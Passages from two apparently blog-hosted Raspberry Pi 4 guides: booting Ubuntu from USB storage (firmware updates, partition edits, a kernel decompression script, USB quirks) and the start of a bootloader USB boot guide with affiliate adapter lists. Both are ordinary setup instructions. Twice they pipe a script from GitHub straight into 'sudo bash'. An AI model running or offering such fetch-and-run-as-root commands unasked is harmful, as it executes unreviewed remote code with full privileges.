BOOTLOADER: update available CURRENT: Thu 3 Sep 12:11:43 UTC 2020 (1599135103) LATEST: Tue 24 Nov 15:08:04 UTC 2020 (1606230484) FW DIR: /lib/firmware/raspberrypi/bootloader/beta VL805: up-to-date CURRENT: 000138a1 LATEST: 000138a1 If it says any updates are available they be installed manually by adding ‘-a’ to the end of our previous command like this: sudo rpi-eeprom-update -a After the updates finish installing restart your Pi as firmware updates will not be applied until after a reboot. Now if you run rpi-eeprom-update to check for updates again it should say you are on the latest and up to date! Changing rpi-eeprom’s Release Channel Note: As of February 16th the firmware available in the “critical” branch is new enough to USB boot so I no longer recommend changing this. One reader even let me know in the comments that on the “stable” channel his storage was getting corrupted prompting a full reinstall! By default you will only receive updates from Raspbian’s “critical” channel. This is a very conservative firmware update channel that will only give you very well tested firmware updates that are considered critical fixes for the device. Another channel that is available is “stable”. Carlos and other commenters have reported that the current “critical” firmware didn’t work for them and they had to upgrade to the “stable” channel. To switch to the stable channel we are going to edit the file /etc/default/rpi-eeprom-update: sudo nano /etc/default/rpi-eeprom-update Change the line FIRMWARE_RELEASE_STATUS=”critical” to: FIRMWARE_RELEASE_STATUS="stable" Now you can run sudo rpi-eeprom-update and you should see a new update available. Install Ubuntu on USB Storage Device The new official Raspberry Pi imaging tool is really good. It’s available on Windows, Linux and MacOS and is a small and fast download. It also works fine on most USB mass storage devices like SSDs. Since Ubuntu is now officially supported the image itself is also available in this tool which saves you the trouble of having to find and download the right image files. 64 bit images are recommended for the Pi 4 for better performance but the 32 bit images work as well. If you want to do things the traditional way you can download the image from the main Ubuntu site and write it yourself using Etcher / dd / Win32diskimager / your preferred tool and skip to the next section. It’s recommended to create the media with the Raspberry Pi Imager unless you are having problems with that utility or are using this as a troubleshooting step. Once you’ve downloaded the tool run it as administrator/sudo to avoid permission errors. To run the utility from the command line is usually sudo rpi-imager. You’ll be greeted with this screen: Raspberry Pi Imager – Main Menu Next click the “Choose OS” button: Raspberry Pi Imager – OS Menu Ahh, the benefits of being officially supported! Ubuntu is right there on the list waiting for us. Select the Ubuntu option and you will get the different choices of flavors/architectures. There’s Ubuntu Desktop, Ubuntu Server, and Ubuntu Core in various forms of 64-bit (arm64) and 32-bit (armhf). If you want to use the out-of-the-box Ubuntu Desktop edition you need to use the 64 bit Ubuntu 20.10 image as they never made a 20.04 desktop version for some reason. This really isn’t usually a big deal though because you can always choose the “Server” version and install Ubuntu’s desktop environment later with: sudo apt install ubuntu-desktop Once you’ve selected the edition you want go ahead and pick the “Choose SD Card” option and write the image. Despite not being a SD card my USB mass storage devices showed up anyway (writing the guide I used a StarTech adapter and a Kingston A400 SSD). I’m sure some of you will manage to find unusual devices and configurations that may not show up in this tool. It doesn’t appear to show “fixed drives” that are physically installed in your machine. Regardless if it is causing a headache you may need to do it the old fashioned way and download the image from the main Ubuntu site and write the image using your favorite imaging tool instead. Modifying Ubuntu for USB Booting We need to make some changes to the Ubuntu drive we just created before we boot from it. Make sure your Pi is powered on and booted into Raspbian then plug in your newly imaged Ubuntu drive. We are going to make the changes using the Pi. Find and Mount Storage Device First let’s find your storage device using the command: lsblk This will show you all the storage devices attached to your system: NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 119.2G 0 disk ├─sda1 8:1 0 256M 0 part └─sda2 8:2 0 2.8G 0 part mmcblk0 179:0 0 59.5G 0 disk ├─mmcblk0p1 179:1 0 256M 0 part /boot └─mmcblk0p2 179:2 0 59.2G 0 part / Your SD card will always start with mmcblk so you can rule that one out. That leaves sda as the only other disk device on the system. This will be the same for most of you but depending on what type of drive and storage adapter you use this can vary. You can substitute whatever yours is in place of /dev/sda in these instructions going forward. If yours is sdb use /dev/sdb. If it’s nvme0 use /dev/nvme0, etc. In my output under the “MOUNTPOINT” column you can see it is blank. This means the drive isn’t mounted on my system. My mmcblk0p1 mountpoint though is not blank and is “/boot” as an example of a non-blank mountpoint. If you are using the full “Desktop” version of Raspbian it may have automatically mounted your drive and created 2 shortcuts on your desktop that will take you to the files. If your mountpoint is not blank and has something like /media/pi/writable go ahead and unmount them now using the following commands substituting the mountpoint listed for your drive: sudo umount /media/pi/writable sudo umount /media/pi/system-boot Now we are going to create two mountpoints and mount the Ubuntu drive. Use these commands substituting your own drive it is not /dev/sda: sudo mkdir /mnt/boot sudo mkdir /mnt/writable sudo mount /dev/sda1 /mnt/boot sudo mount /dev/sda2 /mnt/writable Once you have mounted everything correctly your lsblk command’s output should look like this with the mountpoint field now populated: NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 119.2G 0 disk ├─sda1 8:1 0 256M 0 part /mnt/boot └─sda2 8:2 0 2.8G 0 part /mnt/writable mmcblk0 179:0 0 59.5G 0 disk ├─mmcblk0p1 179:1 0 256M 0 part /boot └─mmcblk0p2 179:2 0 59.2G 0 part / Modify Mounted Partitions – Option A – Automated Script If you just want to get your Ubuntu partition bootable I have made an automated script to do this. As long as you have mounted the partitions as /mnt/boot and /mnt/writable the script will make the necessary changes for Ubuntu 20.04 / 20.10 to boot! The source code for the script is available at https://github.com/TheRemote/Ubuntu-Server-raspi4-unofficial/blob/master/BootFix.sh Here is a one liner to run the script: sudo curl https://raw.githubusercontent.com/TheRemote/Ubuntu-Server-raspi4-unofficial/master/BootFix.sh | sudo bash You may also download it for inspection (such as nano BootFix.sh or opening it in the Text Editor if you are using Desktop Raspbian) with: curl https://raw.githubusercontent.com/TheRemote/Ubuntu-Server-raspi4-unofficial/master/BootFix.sh -O BootFix.sh chmod +x BootFix.sh nano BootFix.sh To execute the script use: sudo ./BootFix.sh As long as you mounted your partitions correctly it will modify the partition and tell you that it was successful. Now unmount your partitions with the following commands: sudo umount /mnt/boot sudo umount /mnt/writable You may now shut down your Pi and remove the SD card from the Pi leaving just the USB mass storage device plugged in. Reconnect the power. Modify Mounted Partitions – Option B – Manual Instructions See bottom of the article for the manual instructions section First Boot If all went well the system should boot up into Ubuntu’s logon screen! The default credentials are: Username: ubuntu Password: ubuntu Before logging in for the first time you will be forced to select a new password. Once you have done that you will be fully logged in! Important Note: Upon logging in for the first time if the Pi is connected to the internet Ubuntu will immediately/soon start a lengthy update process via snapd and apt. This can be annoying since you'll be ready to start configuring the system and if you do an apt install it will halt and wait for the updates to finish. It may seem like they're stuck, but if you use the 'top' command you will see all sorts of apt/package/update/extraction related activity happening. Even on my 8 GB Pi and a gigabit fiber connection these took a good 20 minutes or so before my CPU activity went back to 0 and the apt lock released. I highly recommend letting these finish and not yanking the power on the Pi / forcing a reboot / trying to kill the processes. It will often cause a ton of very nasty apt and dpkg problems to the point where it's easier to start over from a fresh image than try to fsck and apt install --fix-broken your way out of it Try to do other necessary configuration that doesn't involve apt in the mean time and let these finish in the background. Once the patching is finished your shiny new Ubuntu 20.04 system is fully ready to use! Manual Instructions These are the manual instructions to recreate what the automated script does. If you used the automated script you don’t need to do anything further in this section unless you want to understand more about how it works or you want to do the process manually. Decompress the kernel We need to decompress the kernel as we will be changing the way the Pi is booting. Ubuntu uses u-boot by default and we will be switching away from that. We can do this with the following command: zcat -qf "/mnt/boot/vmlinuz" > "/mnt/boot/vmlinux" Update config.txt with correct parameters Now let’s update /mnt/boot/config.txt with the parameters we need to load the decompressed kernel. Open up config.txt with nano with: sudo nano /mnt/boot/config.txt Change the [pi4] section to the following contents: [pi4] max_framebuffers=2 dtoverlay=vc4-fkms-v3d boot_delay kernel=vmlinux initramfs initrd.img followkernel Create script to automatically decompress kernel We are going to create a script to automatically decompress the kernel. If we don’t do this we have to decompress it every time Ubuntu updates. This particular part of the script was not written by me and was found at the post on the Raspberry Pi forums by egrechko. First let’s create the decompression script. Open up a new file with nano using: sudo nano /mnt/boot/auto_decompress_kernel Paste the following contents: #!/bin/bash -e # auto_decompress_kernel script BTPATH=/boot/firmware CKPATH=$BTPATH/vmlinuz DKPATH=$BTPATH/vmlinux # Check if compression needs to be done. if [ -e $BTPATH/check.md5 ]; then if md5sum --status --ignore-missing -c $BTPATH/check.md5; then echo -e "\e[32mFiles have not changed, Decompression not needed\e[0m" exit 0 else echo -e "\e[31mHash failed, kernel will be compressed\e[0m" fi fi # Backup the old decompressed kernel mv $DKPATH $DKPATH.bak if [ ! $? == 0 ]; then echo -e "\e[31mDECOMPRESSED KERNEL BACKUP FAILED!\e[0m" exit 1 else echo -e "\e[32mDecompressed kernel backup was successful\e[0m" fi # Decompress the new kernel echo "Decompressing kernel: "$CKPATH".............." zcat -qf $CKPATH > $DKPATH if [ ! $? == 0 ]; then echo -e "\e[31mKERNEL FAILED TO DECOMPRESS!\e[0m" exit 1 else echo -e "\e[32mKernel Decompressed Succesfully\e[0m" fi # Hash the new kernel for checking md5sum $CKPATH $DKPATH > $BTPATH/check.md5 if [ ! $? == 0 ]; then echo -e "\e[31mMD5 GENERATION FAILED!\e[0m" else echo -e "\e[32mMD5 generated Succesfully\e[0m" fi exit 0 Create apt script to call kernel decompression script automatically This is a one liner to create a script to call the auto_decompress_kernel script: echo 'DPkg::Post-Invoke {"/bin/bash /boot/firmware/auto_decompress_kernel"; };' | sudo tee /mnt/writable/etc/apt/apt.conf.d/999_decompress_rpi_kernel Verify Drive Performance You can make sure everything is running correctly (and as fast as it should be) by running my quick storage benchmark. You can run the benchmark with the following one-liner: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This will give you a score you can compare to the other Raspberry Pi Storage Benchmark results and make sure that you are getting an equivalent speed to your peers with the same device! Fix (some) USB Adapter Problems Using Quirks Some storage adapters don’t work very well with the Raspberry Pi 4. There is an option that can get a lot of them working using quirks. If your Ubuntu is booting to emergency mode but not in normal mode it’s worth giving quirks a try. This lowers performance, but it’s still much faster than a SD card and your adapter won’t go to waste. To find out the quirks mode string to use we need to find the device ID string for your adapter and then add an entry to cmdline.txt telling the kernel to apply them on boot. Find Your Adapter To apply the quirks we first need to get the adapter id. We will use the sudo lsusb command: $ sudo lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub On line 2 we can see my ASM1051E SATA 6Gb/s bridge adapter (it’s the known working StarTech.com 2.5″ SATA to USB 3.1* adapter). You will see something very similar to mine when you run the command and it shouldn’t be too hard to figure out which device it is. If you need more information add a -v switch to make the command sudo lsusb -v. This can sometimes add some additional details to make it easier to figure out which one is your adapter. If you’re still not sure, we have another command that between the two that can narrow things down. Type / paste the following: sudo dmesg | grep usb [0.828535] usb usb3: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19 [0.828568] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 [0.828597] usb usb3: Product: DWC OTG Controller [0.828620] usb usb3: Manufacturer: Linux 4.19.75-v7l+ dwc_otg_hcd [0.828644] usb usb3: SerialNumber: fe980000.usb [0.830051] usbcore: registered new interface driver uas [0.830182] usbcore: registered new interface driver usb-storage [0.836488] usbcore: registered new interface driver usbhid [0.836511] usbhid: USB HID core driver [0.971598] usb 1-1: new high-speed USB device number 2 using xhci_hcd [1.154217] usb 1-1: New USB device found, idVendor=2109, idProduct=3431, bcdDevice= 4.20 [1.154254] usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0 [1.154281] usb 1-1: Product: USB2.0 Hub [1.301989] usb 2-1: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [1.332965] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [1.332999] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [1.333026] usb 2-1: Product: ASM105x [1.333048] usb 2-1: Manufacturer: ASMT [1.333071] usb 2-1: SerialNumber: 123456789B79F This is the dmesg log showing the hardware detection as hardware is activated on the Pi. If your log is really long you can generate fresh entries by just unplugging a device and plugging it back in and running the command again. Here we can clearly see that the ASM105x is what our StarTech adapter is being detected as. Now we can go back to our first lsusb command and we want the 8 characters from the ID field that comes right after the Device: Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge Our adapter’s ID is: 174c:55aa Applying Quirks To apply the quirks to our USB adapter we are going to edit /boot/firmware/cmdline.txt. Type: sudo nano /boot/firmware/cmdline.txt We are going to add the following entry into the very front of cmdline.txt: usb-storage.quirks=XXXX:XXXX:u In place of the X’s above you will put in your adapter’s ID that we got before. With the example commands I gave above mine would look like this: usb-storage.quirks=174c:55aa:u. After this my cmdline.txt looks like this (everything should be one continuous line, no line breaks!): usb-storage.quirks=174c:55aa:u dwg_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=LABEL=writable rootfstype=ext4 elevator=deadline rootwait fixrtc Now reboot the Pi. If the Pi fails to boot you can plug the SD card into the computer and go to /boot/cmdline.txt and undo the change we did so you can boot back in with your SD card. Verifying Quirks Once you have rebooted after changing cmdline.txt we can verify the quirks have been applied by doing another dmesg | grep usb command: sudo dmesg | grep usb [1.332924] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [1.332957] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [1.332983] usb 2-1: Product: ASM105x [1.333006] usb 2-1: Manufacturer: ASMT [1.333028] usb 2-1: SerialNumber: 123456789B79F [1.335967] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [1.336071] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [1.336103] usb-storage 2-1:1.0: USB Mass Storage device detected [1.336479] usb-storage 2-1:1.0: Quirks match for vid 174c pid 55aa: c00000 [1.336611] scsi host0: usb-storage 2-1:1.0 This time we can see in dmesg that UAS was blacklisted for the device and it has loaded with the usb-storage driver instead. This driver tends to be more compatible with the “problematic adapters” but the performance is usually significantly lower. It’s definitely worth a try though as some adapters do better with the quirks performance-wise. The only way to know for sure is to run a benchmark (see “Verify Drive Performance” section). Other Resources I compiled the 2022 Raspberry Pi Storage benchmarks which shows the fastest storage devices for the Pi For easy headless imaging (does support Ubuntu) check out my Headless Raspberry Pi configuration guide To find out where to get the 64 bit version of Raspberry Pi OS: where to get the 64 bit Raspberry Pi OS image To find out how to add a UPS backup battery to your Pi check out my UPS for Raspberry Pi guide #### Raspberry Pi 4 Bootloader USB Mass Storage Boot Guide Raspberry Pi 4 with Samsung 950 Pro NVME SSD The new Raspberry Pi 4 bootloader has finally come out of beta and made it’s way into the official latest Raspbian! This has been long awaited since when the Raspberry Pi 4 was released it had no native support for booting from USB / Network but it was promised right from the start it would get it through a later update. This guide will show how to configure the new bootloader and set up your Pi to boot from USB devices as well as the other boot options now available within the Raspberry Pi 4 bootloader. If you are looking to use USB booting with Ubuntu you should check out my guide specifically for Ubuntu here. If you are using the CM4 check out my guide for the Compute Module 4 here Table of Contents Toggle Equipment UsedPower RequirementsKnown Working AdaptersKnown Problematic Adapters (Naughty List)PrerequisitesGet Latest Raspbian & UpdatesVerify EEPROM Bootloader is up to dateVerify Power Supply Size (3.5A strongly recommended)Prepare Bootable DriveEditing Bootloader ConfigurationHelp, something went wrong!Try Booting from SD cardVerify rpi-eeprom-config configurationRestore Bootloader to DefaultsTry Beta FirmwareVerify Drive PerformanceFix (some) USB Adapter Problems Using QuirksFind Your AdapterApplying QuirksVerifying QuirksOther Resources Equipment Used NVMe (High Performance) Option: Samsung 980 Pro NVMe SSD The Samsung 980 Pro (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ICY BOX M.2 NVMe Enclosure The ICY BOX is basically a giant heatsink that you mount a high performance M.2 NVMe drive inside of. This enclosure is really fast but requires a powered USB hub. Not even the 3.5A adapter can reliably power it! The enclosure works well and will physically feel warm to the touch as it is pulling the heat off your NVMe drive! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* 2.5″ SATA Option: Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SD card option: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on pibenchmarks.com for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* You may use other types of drives with the Pi such as M.2 SATA to USB 3.0 and m-SATA to USB 3.0. Here’s some adapters I’ve used for those types of drives: UGREEN M+B Key M.2 Enclosure The UGREEN M+B enclosure is a great enclosure for the Pi for M.2 SATA 2280 NGFF drives. It supports both B-key and M-key drives. Does not support newer NVMe drives. As with other types of enclosures it requires more power than other options! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* VL716 mSATA Enclosure The VL716 mSATA enclosure lets you connect micro SATA drives to the Pi. These drives are an older type of SSD (usually seen in laptops) predating the M.2 slot but are still widely available and perform extremely well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* Another option for M.2 SATA (not NVMe) is to use the Argon One Pi case: Argon ONE Pi 4 M.2 Case The Argon ONE M.2 is a M.2 SATA Pi 4 case / storage solution. With the case and M.2 SATA expansion board you can completely enclosure your Pi 4 and have a built in M.2 slot! The M.2 SATA board is sometimes sold separately from the case itself and can be used as well. Does not support NVMe, this is for SATA M.2 drives only! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Power Requirements Power can be a serious problem with these drives. We are learning from the comments that you are especially likely to run into power issues with NVMe enclosures. A powered USB hub or a power adapter that puts out 3.5A comes not only just strongly recommended, it may actually be required that you choose one option or the other for your drive to function. The specific requirements of how much power you’ll need depend on the adapter/enclosure and the model of your drive itself. As a very rough guideline, older models of drives tend to use more power than newer models of drives. 3.5″ form factor drives also use more power than 2.5″ drives. The earliest SSD models like first and second generation models are also well understood to use significantly more power than newer models. This is due to changes and improvements in technology over the years and even using different more efficient memory like 3D NAND. Some super high end performance drives will consume more power as well. Here’s the current recommendations based on everyone’s comments combined with stuff I’ve personally used with the Pi: CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Known Working Adapters This is a compiled list of known working adapters built by myself from adapters I’ve purchased and commenters from ones they have purchased in this article and my older guide that utilized a SD card for USB booting. StarTech 2.5″ SATA to USB 3.1 Adapter*2.5″ SATA to USB 3.1Verified working in comments (thanks Fredrick)StarTech 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0Verified working great by myself and others on Pi 4Inateck FE2004 2.5″ SATA to USB 3.0 Hard Drive Enclosure*2.5″ SATA to USB 3.0Mirco reports that this enclosure is working but trim is not supportedSamsung 2.5″ SATA to USB 850 EVO Kit /w Adapter* (Alternate amazon.de link*)2.5″ SATA to USB 3.0 KitThis is a kit that comes with a drive and adapter. Rene confirms the adapter works including with non-Samsung drives.CSL 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0The CSL SL adapter is confirmed to be working by Krikitt in the comments. Available in Europe. Not available in US.UGREEN 2.5″ SATA to USB-C 3.1 Enclosure Drive Caddy*2.5″ SATA to USB-C 3.1Confirmed to be working by CAProjects in the comments. Available in both Europe and USUGREEN 2.5″ SATA to USB-C 3.1 “Protect What You Love” Case* (AliExpress Listing* – Make sure to select USB-C 3.1)2.5″ SATA to USB-C 3.1Reported working by Michal in the comments, thanks!UGREEN 2.5″ to USB 3.0 “SATA USB Converter” Adapter* (AliExpress Listing*)2.5″ SATA to USB 3.0Also reported by Michal as working in the comments, thanks again!UGREEN 2.5″ SATA to USB 3.0 Adapter Cable with UASP Converter*2.5″ SATA to USB 3.0This adapter is reported to be working by Mirco in the commentsSABRENT 2.5″ SATA to USB-C 3.1 Type A Adapter*2.5″ SATA to USB-C 3.1 Type AThe new USB-C 3.1 Type A version of the Sabrent adapter is reported as working in the comments by UEF. DO NOT get the USB 3.0 version as that one is below on the naughty list and won’t work!SABRENT 2.5″ SATA to USB 3.0 Dual Bay Docking Station*2.5″ SATA to USB 3.0One of very few Sabrent adapters/enclosures to work. Reported working well by William Grey in the comments. Has two bays!AliExpress Generic 2.5″ SATA to USB 3.0 3 colors Hard Disk Case*2.5″ SATA to USB 3.0Reported as working with UASP support by pierro78 in the commentsOrico 2.5″ 2139C3-G2 2.5 inch USB 3.1 Gen 2 10Gbps Transparent Enclosure*2.5″ SATA to USB 3.1 Gen 2 10GbpsMake absolutely sure it’s the 10Gbps USB 3.1 Gen 2 version. There is another one that looks identical that is a USB 3.1 Gen 2 6Gbps that will not work. Confirmed working by RRT in the comments.ASUS ROG STRIX Arion Aluminum Alloy M.2 NVMe SSD External Portable Enclosure Case Adapter* – (AliExpress Listing*)M.2 NVMe (B+M Key) to USB/USB-C 3.2 Gen 2It’s bold. It’s beautiful. It’s also confirmed working by TADRACKET and Steve B.However, be warned, it takes a *lot* of power!Steve B. reports that even with the oversized 3.5A CanaKit adapter* it does not work. If you have the standard 3.0 adapter you can be practically certain it won’t power this enclosure.Does work with a powered USB hub*.ICY BOX M.2 NVMe (M Key) to USB-C 3.1 Gen 2 Enclosure* (Alternate amazon.de listing*)M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Returning legendary commentary Frank Meyer reports:Does not work with a 3.0A power adapter (also reported by TTE). It’s not enough power for this enclosure.Does work with a powered USB hub*. TDBT M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2 Enclosure*M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Confirmed to be working well by WorkHard in the commentsAliExpress Generic M.2 NVMe (B+M Key) to USB 3.1 “M2 SSD Case NVME Enclosure”*M.2 NVMe (B+M Key) to USB 3.1 Type AConfirmed working by Jens Haase, thanks Jen!SSK Aluminum M.2 NVMe (M Key) to USB 3.1 Gen 2 SSD Enclosure*M.2 NVMe (M Key) to USB 3.1 Gen 2Brian L reports this is working well with beta firmware upgrades, but that it did not work at all without them!ORICO M.2 NVMe SSD Enclosure, USB 3.1 Gen 2 (10 Gbps)* (AliExpress Listing*)M.2 NVME to USB 3.1 Gen 2M.Yusuf has given the first ever report of a working Orico adapter! Make sure it’s the USB 3.1 Gen 2 version that says “Support UASP for NVMe SSD”. This is the way.DELOCK 42570 M.2 SATA (B Key) to USB Micro-B 3.1 Gen 2 SSD Enclosure*M.2 SATA (B Key) to USB Micro-B 3.1 Gen 2Andreas Franek reports that the enclosure works with a 3.0A power adapter (gets a little warm)Shinestar M.2 NVMe (M Key) to USB 3.0 Adapter*M.2 NVMe (M Key) to USB 3.0This is the adapter I’m using in the picture at the top of the article. It is for NVMe M.2 drives only and is getting hard to findUGREEN M.2 NVMe (B+M Key to USB-C 3.1 Gen 2 SSD Enclosure*M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Confirmed working in comments by Chad DUGREEN M.2 SATA (B+M Key) to USB 3.1 Enclosure*M.2 SATA (B+M Key) to USB 3.1 EnclosureReported as working well in the comments by John H. Reinhardt with a ASM1051E chipsetQNINE M.2 SATA (B Key) to USB 3.0 Enclosure*M.2 SATA (B Key) to USB 3.0I used this enclosure to benchmark M.2 SATA Lite-On and SanDisk drives — working great in 3.0 portsArgon One M.2 SATA (B+M Key) Pi 4 Case*M.2 SATA (B+M Key) Pi 4 CaseThis case gives you a M.2 SATA port for your Raspberry Pi and is also a case! Confirmed working by Frank.Tanbin mSATA to USB Adapter*mSATA to USB 3.0I used this mSATA to USB adapter for my Crucial M550 benchmark — working in 3.0 portsGeneric mSATA to USB 3.0 Adapter (fe2008)*mSATA to USB 3.1Confirmed working in comments by NicoCanakit Raspberry Pi 4 Power Supply (USB-C)*3.5A USB-C Power SupplyCanakit has been making very reliable power supplies for several Pi generations now. Using a 3.5A power supply will give enough extra power for your Pi to power the drive without causing instabilitySimplecom SE502 M.2 SSD Adapter*M.2 SATA (B Key) to USB 3.0Quirks required, reported working by alan but only with quirksDelock #61883 SATA to USB 3.0 Converter*2.5″ SATA to USB 3.0Reported working well by Joerg_HVantec SATA/IDE TO USB 3.0 Adapter*2.5″ SATA to USB 3.0Reported as working by JeffG but with an ugly messy appearanceKnown Working Adapters Known Problematic Adapters (Naughty List) Here is a list of common USB adapters that are known to have problems with the Raspberry Pi 4. You can get some of these adapters working by using quirks mode (see the “Fix (some) USB Adapter Problems Using Quirks” section below). FIDECO M207CPS USB3.2 to M2 NVME/SATA SSD Enclosure*M.2 NVME to USB 3.2 Gen 2Lee Myring reports that the FIDECO M207CPS has issues working with the PiUGREEN 30848 2.5″ SATA to USB 3.0 Hard Drive Enclosure*2.5″ SATA to USB 3.0Reporting as not working properly and disconnecting often by Mirco, thanks!Sabrent USB 3.0 to 2.5″ SATA adapter*2.5″ SATA to USB 3.0Only works in the USB 2.0 ports. Will not boot in a USB 3.0 port. I have two of these and can confirm they don’t work. RIP to Sabrent, our previous king of the Pi 3 era of adapters.Sabrent USB 3.0 to 2.5″ SATA Tool-Free External Hard Drive Enclosure*2.5″ SATA to USB 3.0Another nonworking Sabrent adapter reported by Alex, thanks Alex!ELUTENG 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0Despite earlier reports as working Ryan and one other have reported this adapter does not work unless you enable quirks mode! Don’t make Ryan’s sacrifice in vain and avoid this one.USB 3.0 to 2.5″ SATA III Hard Drive Adapter UASP Support-20cm, Black*2.5″ SATA to USB 3.0reported by dzm in the comments as having very poor I/O performanceORICO 2.5″ SATA to USB C 3.0 Enclosure (Transparent)*2.5″ SATA to USB 3.0Several commenters have stated the transparent ORICO is not working. Avoid!ORICO 2.5″ SATA to USB 3.0 Enclosure (Black) 2588US3-BKT*2.5″ SATA to USB 3.0Commenters report that the USB-C variant of the transparent ORICO enclosure also does not workORICO 2.5″ SATA to USB 3.0 Enclosure (Black/White) 2520U3*2.5″ SATA to USB 3.0Reported as not working by by Richon in the commentsORICO 2.5″ SATA to USB-C 3.1 Gen 1 Enclosure (Transparent)*2.5″ SATA to USB-C 3.1 Gen 1Confirmed as not working by Andrea De Lunardi in the comments (thanks!)ORICO 2.5″ SATA to USB 3.1 Gen 1 Enclosure (Silver) M2PF-C3-BK-EP*2.5″ SATA to USB-C 3.1 Gen 2Looks really similar to the ICY BOX. Confirmed not working by auanasgheps in the comments.Vantec 2.5″ SATA to USB 3.0 USB Adapter with Case*2.5″ SATA to USB 3.0Does not work after hours of testing and frustration by Moshe Katz in the comments!AliExpress Generic 2.5″ SATA to USB 3.0 “New USB 3.0 To 2.5in SATA 7+15Pin Hard Drive Adapter”*2.5″ SATA to USB 3.0Extremely cheap adapter from AliExpress — MADATALIEXPRESS bought 5 of them and none worked, PPCM had one working, very unreliable and slow when it does work, not recommended even if you get lucky!EWENT USB 3.0 to SATA EW70172.5″ SATA to USB 3.0Does not work – reported by Wouter in the comments, thanks!CableCreation USB 3.0 to SATA Adapter Compatible 2.5″ SATA III HDD Hard Disk Driver, 0.5FT, Black*2.5″ 